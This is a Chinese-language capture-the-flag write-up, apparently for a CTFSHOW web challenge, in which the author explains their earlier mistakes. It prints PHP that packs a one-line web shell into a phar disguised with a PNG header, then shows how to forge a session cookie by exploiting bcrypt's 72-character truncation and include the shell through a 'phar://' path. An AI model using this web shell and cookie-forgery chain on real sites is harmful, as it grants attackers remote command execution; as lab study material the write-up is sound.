因為該題沒有理解到位,導致看wp也一直出錯,特此反思一下。
參考yu22x師傅的文章 :CTFSHOW大賽原題篇(web696-web710)_ctfshow 大賽原題-CSDN博客
首先拿到題目:
// www.zip 下載源碼
我們的思路就是包含一個css文件,這個css文件是壓縮到phar中的,那么如何繞過文件上傳必須是PNG的限制呢,就可以手動賦值一個文件頭
<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?
結合這個data和signature,我們可以先創建一個賬號登錄一下:
eyJuYW1lIjoiMTIzXzEyMyJ9.JDJ5JDEwJHNuOWJqbDQzc1pjTTJFd2FCVWV0ZnV0WDZ5UDJWaERTbnNxWU5pMGowcERwVEFhbXVWUTJD
?那么再傳入我們生成的phar文件再查看一下cookie的變化:
(我們發現這兩次的cookie簽名值是不同的),如果簽名值是不同的那么我們添加theme參數的時候就會讓我們重新登錄無法進行命令執行了
eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyJ9.JDJ5JDEwJE96SlRZZ2puQ1NQM2lGWHRrNzlPTWU4dEY0VmpVVld5SzJEMGwuMVh3Q0tjbmNsNEJKbG1H
接下來我們需要關注一個比較有意思的地方:
現在我們需要考慮的是我們怎么湊才能把data這個消息也就是咱們cookie "." 前面的字符串是72位以上呢?
我們需要訪問/upload.php 但是不需要上傳文件即可:
?
這樣就湊夠了72以上字符,
因為此處湊夠了72以上字符,因此后面添加theme后,我們就需要用這個簽名
eyJuYW1lIjoiMTIzXzEyMyIsImF2YXRhciI6ImVkY2Q1M2U2LnBuZyIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJObyBmaWxlIHdhcyB1cGxvYWRlZC4ifX0.JDJ5JDEwJEpINWNYWEdqdzhYSXIzYVJDQnE1dHVLSi9rRWpoM3NXUzN1NXkxOVhWT1gwV2JoNXZITVFD
?{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}
接著我們利用util類里面的urlsafe_base64_encode函數生成$data再拼接之前的.后面簽名即可:
這樣就可以執行了,我錯誤的原因呢就是拿到最初登錄時候給的$signature來拼接了
但是沒考慮到那個password_hash的特性
?
?具體的思路:
1、可以包含css,所以創建一個css壓縮到phar中,生成png的文件頭
2、通過訪問upload.php湊夠那個72字符
{"name":"123_123","avatar":"edcd53e6.png","flash":{"type":"error","message":"No file was uploaded."},"theme":"phar://uploads/edcd53e6.png/exp"}
3、添加theme參數
4、訪問/index.php? 傳cmd參數執行命令